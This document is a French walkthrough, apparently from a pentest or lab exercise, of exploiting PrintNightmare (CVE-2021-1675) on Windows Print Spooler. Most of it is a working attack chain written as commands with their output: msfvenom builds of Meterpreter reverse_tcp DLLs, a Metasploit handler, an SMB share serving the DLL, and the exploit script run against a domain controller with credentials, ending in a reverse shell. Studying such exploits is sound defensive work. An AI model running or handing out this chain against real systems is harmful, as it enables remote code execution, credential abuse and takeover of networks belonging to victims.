
Exploit de preuve de concept pour CVE-2021-1675 (PrintNightmare) ciblant Windows Print Spooler. Utilise une DLL malveillante générée par msfvenom distribuée via SMB pour obtenir une exécution de code à distance et un reverse shell Meterpreter.
Le Spooler d'impression est un service Windows qui gère les files d'attente d'impression. Il reçoit les tâches soumises par l'utilisateur, les convertit dans un format compréhensible par l'imprimante et les envoie lorsque celle-ci est disponible. Il s'exécute en tant que service système (spoolsv.exe) avec des privilèges élevés, ce qui en fait une cible fréquente d'attaques, comme la vulnérabilité PrintNightmare.
Lorsqu'un attaquant tente d'exploiter le spooler d'impression à distance, pour vérifier si un hôte est vulnérable au défaut PrintNightmare, on peut utiliser un outil appelé rpcdump.py qui fait partie du paquet impacket, un ensemble d'outils largement utilisés dans l'environnement du pentesting.
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Pour exploiter cette vulnérabilité, la méthode de distribution de cet exploit est une DLL malveillante. Cette méthode, également appelée exploitation « sans fichier », nous permet de contourner la plupart des protections système, comme les antivirus. Dans cette attaque, nous allons tromper le service du spooler d'impression pour qu'il installe un nouveau pilote depuis un chemin UNC et le charge. Dans notre cas, il s'agit de la DLL malveillante, qui nous fournira un reverse shell vers l'ordinateur attaquant. Pour créer la DLL malveillante, j'utiliserai « msfvenom » et, selon l'architecture sur laquelle nous nous trouvons, nous intégrerons une charge utile Windows x64 ou x86 dans la DLL, en fournissant l'hôte local et le port local, où nous démarrerons un écouteur pour un rappel de la DLL. Vous pouvez trouver l'adresse IP de votre machine en tapant « ifconfig ». Nous utiliserons la commande suivante pour créer notre DLL malveillante.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
Et si dans un autre cas notre architecture était 32 bits, nous utiliserions cette charge utile
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
Maintenant que nous avons créé notre DLL malveillante, nous devons lancer notre écouteur sur le « Metasploit Framework » pour récupérer le shell 'Meterpreter' lorsque la DLL est exécutée sur le système. Pour démarrer l'écouteur, suivez les étapes ci-dessous. À la fin, tapez 'exploit -j' pour lancer l'écouteur en arrière-plan.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
Maintenant que nous avons lancé notre récepteur, nous démarrons notre serveur SMB pour héberger le fichier DLL malveillant. Allez dans le chemin système où nous avons enregistré le fichier DLL et entrez la commande suivante pour démarrer le serveur SMB. Avant cela, assurez-vous d'avoir « Impacket » installé sur votre ordinateur. Impacket est une collection de modules open-source écrits en Python, et l'un d'eux est smbserver.py, que nous allons utiliser dans cet exemple. Pour lancer le script « smbserver.py » et héberger le fichier DLL malveillant, entrez la commande suivante dans le répertoire où nous l'avons enregistré, dans mon cas /home/ghost/Pentesting/Printer/.
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Parfait, nous sommes maintenant prêts à commencer le processus d'exploitation en utilisant la preuve de concept (POC) CVE-2021–1675. Pour ce faire, nous fournissons le contrôleur de domaine et les identifiants utilisateur avec le chemin UNC vers la DLL malveillante hébergée sur notre système.
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
Après quelques secondes d'exécution du script d'exploit, si nous retournons à l'écouteur que nous avons lancé dans 'Metasploit', il indique qu'il a ouvert une session 'Meterpreter' afin que nous puissions maintenant interagir avec la machine victime en utilisant le 'Meterpreter shell'.